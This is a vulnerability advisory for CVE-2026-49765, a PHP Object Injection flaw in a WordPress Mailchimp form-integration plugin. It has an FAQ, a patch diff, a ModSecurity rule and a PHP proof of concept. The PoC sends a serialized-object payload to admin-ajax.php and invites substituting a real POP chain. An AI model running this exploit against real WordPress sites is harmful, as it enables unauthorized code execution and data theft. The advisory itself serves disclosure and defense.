What is CVE-2026-49765?

CVE-2026-49765 is a high-severity vulnerability found in the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, and Ninja Forms plugin for WordPress. It allows unauthenticated attackers to perform PHP Object Injection through deserialization of untrusted input in versions up to and including 1.1.8.

How does this vulnerability work?

The vulnerability arises from the plugin’s use of the maybe_unserialize() function on user-supplied data without proper validation. An attacker can send a crafted HTTP request containing a malicious serialized object, triggering the deserialization process and potentially leading to arbitrary code execution if a suitable payload chain exists.

Who is affected by this vulnerability?

Any WordPress site using the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, or Ninja Forms plugin version 1.1.8 or earlier is at risk. Administrators should check their plugin version and update if necessary.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard. Look for the Integration for Mailchimp plugin and verify its version number. If it is 1.1.8 or lower, your site is vulnerable.

What should I do to fix this vulnerability?

The best way to mitigate this vulnerability is to update the plugin to version 1.1.9 or later, where the issue has been patched. Regularly check for updates to all plugins to ensure ongoing security.

What does the CVSS score of 8.1 mean?

A CVSS score of 8.1 indicates a high severity vulnerability. This means that successful exploitation could lead to significant consequences, such as unauthorized access to sensitive data or the ability to execute arbitrary code on the server.

What is a PHP Object Injection?

PHP Object Injection occurs when an application deserializes untrusted user input, allowing an attacker to inject arbitrary PHP objects. This can lead to various security issues, including code execution and data manipulation, depending on the context and available payloads.

What is a Proof of Concept (PoC)?

A Proof of Concept (PoC) is a demonstration that illustrates how a vulnerability can be exploited. In the case of CVE-2026-49765, the PoC shows how an attacker can send a crafted request to exploit the PHP Object Injection vulnerability.

How can I mitigate risks if I cannot update immediately?

If immediate updates are not possible, consider disabling the affected plugin until a patch can be applied. Additionally, review your site’s security settings and monitor for any suspicious activity.

A POP chain refers to a sequence of operations that an attacker can leverage after exploiting a vulnerability to achieve a specific goal, such as executing arbitrary code. In this case, while no POP chain exists in the vulnerable plugin, other installed themes or plugins may provide one.

What are the consequences of exploitation?

If successfully exploited, an attacker could delete files, retrieve sensitive information, or execute malicious code on the affected WordPress site. The actual impact depends on the presence of a suitable POP chain.

How can I stay informed about vulnerabilities?

To stay informed about vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the CVE database. Implementing a routine security audit for your WordPress site can also help identify and mitigate risks.

Published : June 14, 2026

CVE-2026-49765: Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.1.8 Unauthenticated PHP Object Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-49765

Plugin cf7-mailchimp

Severity High (CVSS 8.1)

CWE 502

Vulnerable Version 1.1.8

Patched Version 1.1.9

Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49765:

This vulnerability is an unauthenticated PHP Object Injection in the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress (versions up to and including 1.1.8). The plugin deserializes untrusted user input without proper sanitization, allowing an attacker to inject arbitrary PHP objects.

Root Cause: The vulnerability exists in the file `cf7-mailchimp/cf7-mailchimp.php` at line 969. Within the plugin’s data processing pipeline, the `maybe_unserialize()` function is called on user-supplied value data without any validation or sanitization. The code path is: when form fields are processed, the value is retrieved, and if it is not an array, the plugin calls `$value=maybe_unserialize($value);`. This allows an attacker to craft a serialized PHP object payload. No POP chain exists in the plugin itself, but any installed theme or plugin providing a usable POP chain could be leveraged.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to the WordPress AJAX handler (admin-ajax.php) or a form submission endpoint that the plugin processes. The vulnerable parameter accepts serialized PHP data. By setting the value of a form field to a malicious serialized object (e.g., `O:14:”SomeClass”:0:{}`), the attacker triggers the `maybe_unserialize()` call. The specific parameter and action depend on the integration (e.g., Contact Form 7, WPForms). The attacker does not need to be authenticated.

Patch Analysis: The patch removes the dangerous `maybe_unserialize()` call by commenting it out at line 969 of `cf7-mailchimp.php`. The before state was `$value=maybe_unserialize($value);` and the after state is `// $value=maybe_unserialize($value);`. This prevents any deserialization of user input entirely. The patch also updates the plugin version from 1.1.8 to 1.1.9.

Impact: Successful exploitation could allow an attacker to delete arbitrary files, retrieve sensitive data, or execute code if a suitable POP chain exists in another plugin or theme. The CVSS score is 8.1 (High). Without a POP chain, the impact is limited but the risk is significant due to the unauthenticated nature and common availability of POP chains in WordPress ecosystems.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/cf7-mailchimp/api/api.php
+++ b/cf7-mailchimp/api/api.php
@@ -298,8 +298,7 @@
     $type=$crm_fields[$k]['type'];
 $val=$v['value'];

-if($type == 'birthday'){ $temp_val=strtotime($val); if(!empty($temp_val)){ $val=date('m/d',$temp_val); } }
-else if($type == 'gdpr'){
+ if($type == 'gdpr'){
  $post['marketing_permissions'][]=array('marketing_permission_id'=>$k,'enabled'=>!empty($v) ? true : false);
 }elseif($type == 'address'){
 if(strpos($k,'-') !== false){
@@ -325,7 +324,8 @@
  } }
 }
 }else{
-$merge_fields[$k]=$val;
+if($type == 'birthday'){ $temp_val=strtotime($val); if(!empty($temp_val)){ $val=date('m/d',$temp_val); } }
+    $merge_fields[$k]=$val;
 }   }
 }
 if(!empty($merge_fields)){
@@ -345,7 +345,7 @@
 }

 } }
-///var_dump($post,$meta['groups']); die();
+//var_dump($post,$meta['groups']); die();
 $link=""; $error="";
 if(!empty($method) && !empty($object_url) ){
 $arr= $this->post_crm($object_url, $method,$post);
@@ -461,16 +461,12 @@
 return $error;
 }

-public function post_crm($path,$method,$body=''){
-
+public function post_crm($path,$method,$body=''){
       $url=$this->url.$path;
     if(is_array($body)&& count($body)>0)
    {
-       $body=json_encode($body);
+       $body=json_encode($body);
    }
-
-
-
      $head=array('Authorization'=> ' apikey ' .$this->api_key);
        if($method == 'post'){
        $head['Content-Type']='application/json';
--- a/cf7-mailchimp/cf7-mailchimp.php
+++ b/cf7-mailchimp/cf7-mailchimp.php
@@ -2,7 +2,7 @@
 /**
 * Plugin Name: WP Contact Form Mailchimp
 * Description: Integrates Contact Form 7, <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Mailchimp allowing form submissions to be automatically sent to your Mailchimp account
-* Version: 1.1.8
+* Version: 1.1.9
 * Author URI: https://www.crmperks.com
 * Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-mailchimp-plugin/
 * Author: CRM Perks.
@@ -24,7 +24,7 @@
   public  $crm_name = "mailchimp";
   public  $id = "vxcf_mailchimp";
   public  $domain = "vxcf-mailchimp";
-  public  $version = "1.1.8";
+  public  $version = "1.1.9";
   public  $update_id = "6000001";
   public  $min_cf_version = "1.0";
   public $type = "vxcf_mailchimp";
@@ -966,7 +966,7 @@
       $value=$value['value'];
      }
      if(!is_array($value)){
-          $value=maybe_unserialize($value);
+         // $value=maybe_unserialize($value);
      }

   }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-49765
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49765: PHP Object Injection via serialized payload in Mailchimp integration',severity:'CRITICAL',tag:'CVE-2026-49765'"
SecRule ARGS_POST:action "@streq vxcf_mailchimp_process" "chain"
SecRule ARGS_POST "@rx O:d+:[A-Za-z_]+:d+:{[^}]+}" "t:none,id:20261995"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49765 - Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.1.8 - Unauthenticated PHP Object Injection

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target WordPress site

// Craft a malicious serialized object payload (example: generic object)
// Replace with a real POP chain payload if available
$malicious_payload = 'O:14:"SomeClass":0:{}'; // Simple example, no side effects

// Build the request data
$post_data = array(
    'action' => 'vxcf_mailchimp_process', // Hypothetical action name, adjust based on plugin version
    'field_value' => $malicious_payload
);

// Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "PoC complete. Check logs.";
?>

Frequently Asked Questions

What is CVE-2026-49765?
Overview of the vulnerability
CVE-2026-49765 is a high-severity vulnerability found in the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, and Ninja Forms plugin for WordPress. It allows unauthenticated attackers to perform PHP Object Injection through deserialization of untrusted input in versions up to and including 1.1.8.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from the plugin’s use of the maybe_unserialize() function on user-supplied data without proper validation. An attacker can send a crafted HTTP request containing a malicious serialized object, triggering the deserialization process and potentially leading to arbitrary code execution if a suitable payload chain exists.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, or Ninja Forms plugin version 1.1.8 or earlier is at risk. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Version verification steps
To determine if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard. Look for the Integration for Mailchimp plugin and verify its version number. If it is 1.1.8 or lower, your site is vulnerable.
What should I do to fix this vulnerability?
Recommended actions
The best way to mitigate this vulnerability is to update the plugin to version 1.1.9 or later, where the issue has been patched. Regularly check for updates to all plugins to ensure ongoing security.
What does the CVSS score of 8.1 mean?
Understanding severity levels
A CVSS score of 8.1 indicates a high severity vulnerability. This means that successful exploitation could lead to significant consequences, such as unauthorized access to sensitive data or the ability to execute arbitrary code on the server.
What is a PHP Object Injection?
Technical explanation
PHP Object Injection occurs when an application deserializes untrusted user input, allowing an attacker to inject arbitrary PHP objects. This can lead to various security issues, including code execution and data manipulation, depending on the context and available payloads.
What is a Proof of Concept (PoC)?
Demonstrating the vulnerability
A Proof of Concept (PoC) is a demonstration that illustrates how a vulnerability can be exploited. In the case of CVE-2026-49765, the PoC shows how an attacker can send a crafted request to exploit the PHP Object Injection vulnerability.
How can I mitigate risks if I cannot update immediately?
Temporary measures
If immediate updates are not possible, consider disabling the affected plugin until a patch can be applied. Additionally, review your site’s security settings and monitor for any suspicious activity.
What is a POP chain?
Potential exploitation paths
A POP chain refers to a sequence of operations that an attacker can leverage after exploiting a vulnerability to achieve a specific goal, such as executing arbitrary code. In this case, while no POP chain exists in the vulnerable plugin, other installed themes or plugins may provide one.
What are the consequences of exploitation?
Potential impacts
If successfully exploited, an attacker could delete files, retrieve sensitive information, or execute malicious code on the affected WordPress site. The actual impact depends on the presence of a suitable POP chain.
How can I stay informed about vulnerabilities?
Best practices for security awareness
To stay informed about vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the CVE database. Implementing a routine security audit for your WordPress site can also help identify and mitigate risks.

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